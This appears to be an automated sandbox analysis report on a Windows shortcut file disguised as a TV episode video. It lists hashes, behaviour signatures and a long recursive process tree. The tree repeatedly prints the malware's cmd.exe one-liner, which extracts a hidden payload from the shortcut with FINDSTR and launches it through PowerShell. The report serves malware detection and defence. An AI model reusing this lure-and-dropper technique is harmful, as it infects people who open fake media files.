bda9508dc45044a322db0cdf6693c2f5e3d598a46d0836b81ba0369ad0bb5726

Analysis

max time kernel
87s
max time network
144s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20251017-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20251017-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
11/05/2026, 00:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.lnk
Size 2KB
Sample260511-axgymsgx8v
SHA256 bda9508dc45044a322db0cdf6693c2f5e3d598a46d0836b81ba0369ad0bb5726
MD5 2e85c2338a7f21e5e2b435894e198744
SHA1 f24f528c00c653f06677b1c8d5ad12c29bee409e
SHA512 41407336a42ac91a6a6ae2da22380f8c11e45a26c134ddbbb91365b659dcb645d8c00f71c90da02d2e55d6a6a2689727e9673cf09b4e994764905ede05aae7ae
TLSH
T19D41120866DC1723E773EAB68CEAE61A853B7C08F5645F0D0180414F34B6902FD25F7A
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
21	5192	Process not Found
25	5192	Process not Found
27	5192	Process not Found
29	5192	Process not Found

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-91097763-3532418941-3477313924-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
6104	powershell.exe
232	powershell.exe
5060	powershell.exe
4732	powershell.exe
3612	powershell.exe
4972	powershell.exe
4188	powershell.exe
4556	powershell.exe
3600	powershell.exe
5852	powershell.exe
5152	powershell.exe
3124	powershell.exe
6008	powershell.exe
3864	powershell.exe
5192	powershell.exe
1020	powershell.exe
3972	powershell.exe
2212	powershell.exe
2188	powershell.exe
1644	powershell.exe
4756	powershell.exe
2684	powershell.exe
2344	powershell.exe
892	powershell.exe
5112	powershell.exe
1736	powershell.exe
3680	powershell.exe
3776	powershell.exe
1344	powershell.exe
4524	powershell.exe
1356	powershell.exe
564	powershell.exe
5684	powershell.exe
4292	powershell.exe
2660	powershell.exe
3056	powershell.exe
5960	powershell.exe
3368	powershell.exe
3892	powershell.exe
3296	powershell.exe
6120	powershell.exe
2404	powershell.exe
1524	powershell.exe
3520	powershell.exe
6060	powershell.exe
1112	powershell.exe
4512	powershell.exe
5364	powershell.exe
4272	powershell.exe
4876	powershell.exe
2904	powershell.exe
1912	powershell.exe
1188	powershell.exe
4936	powershell.exe
3704	powershell.exe
4628	powershell.exe
4864	powershell.exe
5104	powershell.exe
4932	powershell.exe
2368	powershell.exe
836	powershell.exe
5368	powershell.exe
5728	powershell.exe
3808	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
736	powershell.exe
736	powershell.exe
4668	powershell.exe
4668	powershell.exe
4932	powershell.exe
4932	powershell.exe
2484	powershell.exe
2484	powershell.exe
5252	powershell.exe
5252	powershell.exe
4660	powershell.exe
4660	powershell.exe
2832	powershell.exe
2832	powershell.exe
4512	powershell.exe
4512	powershell.exe
3612	powershell.exe
3612	powershell.exe
3176	powershell.exe
3176	powershell.exe
1912	powershell.exe
1912	powershell.exe
376	powershell.exe
376	powershell.exe
4408	powershell.exe
4408	powershell.exe
6008	powershell.exe
6008	powershell.exe
4836	powershell.exe
4836	powershell.exe
4972	powershell.exe
4972	powershell.exe
5228	powershell.exe
5228	powershell.exe
2596	powershell.exe
2596	powershell.exe
6132	powershell.exe
6132	powershell.exe
3464	powershell.exe
3464	powershell.exe
1872	powershell.exe
1872	powershell.exe
2344	powershell.exe
2344	powershell.exe
5384	powershell.exe
5384	powershell.exe
5932	powershell.exe
5932	powershell.exe
2212	powershell.exe
2212	powershell.exe
5256	powershell.exe
5256	powershell.exe
1952	powershell.exe
1952	powershell.exe
3520	powershell.exe
3520	powershell.exe
3776	powershell.exe
3776	powershell.exe
3196	powershell.exe
3196	powershell.exe
864	powershell.exe
864	powershell.exe
5364	powershell.exe
5364	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	736	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	376	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	6008	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	5228	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	6132	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	5384	powershell.exe
Token: SeDebugPrivilege	5932	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	5256	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	3196	powershell.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	5364	powershell.exe
Token: SeDebugPrivilege	892	powershell.exe
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	4680	powershell.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	3700	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	5380	powershell.exe
Token: SeDebugPrivilege	5828	powershell.exe
Token: SeDebugPrivilege	3528	powershell.exe
Token: SeDebugPrivilege	5692	powershell.exe
Token: SeDebugPrivilege	6140	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	6060	powershell.exe
Token: SeDebugPrivilege	1356	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 5904	3952	cmd.exe	83
PID 5904 wrote to memory of 5768	5904	cmd.EXE	84
PID 5904 wrote to memory of 736	5904	cmd.EXE	85
PID 736 wrote to memory of 5180	736	powershell.exe	86
PID 5180 wrote to memory of 2272	5180	cmd.EXE	88
PID 5180 wrote to memory of 4668	5180	cmd.EXE	89
PID 4668 wrote to memory of 4700	4668	powershell.exe	91
PID 4700 wrote to memory of 4908	4700	cmd.EXE	93
PID 4700 wrote to memory of 4932	4700	cmd.EXE	94
PID 4932 wrote to memory of 4196	4932	powershell.exe	95
PID 4196 wrote to memory of 1424	4196	cmd.EXE	97
PID 4196 wrote to memory of 2484	4196	cmd.EXE	98
PID 2484 wrote to memory of 5036	2484	powershell.exe	99
PID 5036 wrote to memory of 5524	5036	cmd.EXE	101
PID 5036 wrote to memory of 5252	5036	cmd.EXE	102
PID 5252 wrote to memory of 5352	5252	powershell.exe	103
PID 5352 wrote to memory of 2148	5352	cmd.EXE	105
PID 5352 wrote to memory of 4660	5352	cmd.EXE	106
PID 4660 wrote to memory of 3108	4660	powershell.exe	107
PID 3108 wrote to memory of 5264	3108	cmd.EXE	109
PID 3108 wrote to memory of 2832	3108	cmd.EXE	110
PID 2832 wrote to memory of 1936	2832	powershell.exe	111
PID 1936 wrote to memory of 3684	1936	cmd.EXE	113
PID 1936 wrote to memory of 4512	1936	cmd.EXE	114
PID 4512 wrote to memory of 2220	4512	powershell.exe	115
PID 2220 wrote to memory of 2660	2220	cmd.EXE	117
PID 2220 wrote to memory of 3612	2220	cmd.EXE	118
PID 3612 wrote to memory of 5740	3612	powershell.exe	121
PID 5740 wrote to memory of 3548	5740	cmd.EXE	123
PID 5740 wrote to memory of 3176	5740	cmd.EXE	124
PID 3176 wrote to memory of 1916	3176	powershell.exe	125
PID 1916 wrote to memory of 4008	1916	cmd.EXE	127
PID 1916 wrote to memory of 1912	1916	cmd.EXE	128
PID 1912 wrote to memory of 2392	1912	powershell.exe	129
PID 2392 wrote to memory of 1020	2392	cmd.EXE	131
PID 2392 wrote to memory of 376	2392	cmd.EXE	132
PID 376 wrote to memory of 5220	376	powershell.exe	135
PID 5220 wrote to memory of 5836	5220	cmd.EXE	137
PID 5220 wrote to memory of 4408	5220	cmd.EXE	138
PID 4408 wrote to memory of 6072	4408	powershell.exe	139
PID 6072 wrote to memory of 4680	6072	cmd.EXE	141
PID 6072 wrote to memory of 6008	6072	cmd.EXE	142
PID 6008 wrote to memory of 4928	6008	powershell.exe	143
PID 4928 wrote to memory of 4868	4928	cmd.EXE	145
PID 4928 wrote to memory of 4836	4928	cmd.EXE	146
PID 4836 wrote to memory of 2500	4836	powershell.exe	147
PID 2500 wrote to memory of 5556	2500	cmd.EXE	149
PID 2500 wrote to memory of 4972	2500	cmd.EXE	150
PID 4972 wrote to memory of 3152	4972	powershell.exe	151
PID 3152 wrote to memory of 4644	3152	cmd.EXE	153
PID 3152 wrote to memory of 5228	3152	cmd.EXE	154
PID 5228 wrote to memory of 5012	5228	powershell.exe	156
PID 5012 wrote to memory of 3692	5012	cmd.EXE	204
PID 5012 wrote to memory of 2596	5012	cmd.EXE	159
PID 2596 wrote to memory of 1228	2596	powershell.exe	160
PID 1228 wrote to memory of 6060	1228	cmd.EXE	162
PID 1228 wrote to memory of 6132	1228	cmd.EXE	163
PID 6132 wrote to memory of 2216	6132	powershell.exe	164
PID 2216 wrote to memory of 5784	2216	cmd.EXE	166
PID 2216 wrote to memory of 3464	2216	cmd.EXE	167
PID 3464 wrote to memory of 1340	3464	powershell.exe	168
PID 1340 wrote to memory of 1140	1340	cmd.EXE	170
PID 1340 wrote to memory of 1872	1340	cmd.EXE	171
PID 1872 wrote to memory of 1336	1872	powershell.exe	172

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Windows\SYSTEM32\cmd.EXE
  "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5904
- - C:\Windows\system32\findstr.exe
    FINDSTR /v "zDG2j lb8L0164" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
    3⤵
    PID:5768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:736
  - - C:\Windows\SYSTEM32\cmd.EXE
      "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5180
    - - C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0225" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        5⤵
        
        PID:2272
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4668
      - C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4700
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0280" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        7⤵
        
        PID:4908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4932
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4196
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0344" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        9⤵
        
        PID:1424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2484
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:5036
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0411" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        11⤵
        
        PID:5524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        11⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5252
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        12⤵
        Suspicious use of WriteProcessMemory
        
        PID:5352
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0476" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        13⤵
        
        PID:2148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        13⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4660
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        14⤵
        Suspicious use of WriteProcessMemory
        
        PID:3108
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0539" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        15⤵
        
        PID:5264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        15⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2832
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        16⤵
        Suspicious use of WriteProcessMemory
        
        PID:1936
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0603" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        17⤵
        
        PID:3684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        17⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4512
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        18⤵
        Suspicious use of WriteProcessMemory
        
        PID:2220
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0666" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        19⤵
        
        PID:2660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        19⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3612
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        20⤵
        Suspicious use of WriteProcessMemory
        
        PID:5740
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0722" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        21⤵
        
        PID:3548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        21⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3176
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        22⤵
        Suspicious use of WriteProcessMemory
        
        PID:1916
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0759" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        23⤵
        
        PID:4008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        23⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1912
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        24⤵
        Suspicious use of WriteProcessMemory
        
        PID:2392
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0800" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        25⤵
        
        PID:1020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        25⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:376
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        26⤵
        Suspicious use of WriteProcessMemory
        
        PID:5220
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0842" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        27⤵
        
        PID:5836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        27⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4408
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        28⤵
        Suspicious use of WriteProcessMemory
        
        PID:6072
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0903" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        29⤵
        
        PID:4680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        29⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6008
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        30⤵
        Suspicious use of WriteProcessMemory
        
        PID:4928
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0961" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        31⤵
        
        PID:4868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        31⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4836
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        32⤵
        Suspicious use of WriteProcessMemory
        
        PID:2500
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0025" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        33⤵
        
        PID:5556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        33⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4972
        
        C:\Windows\SYSTEM32\cmd.EXE
        
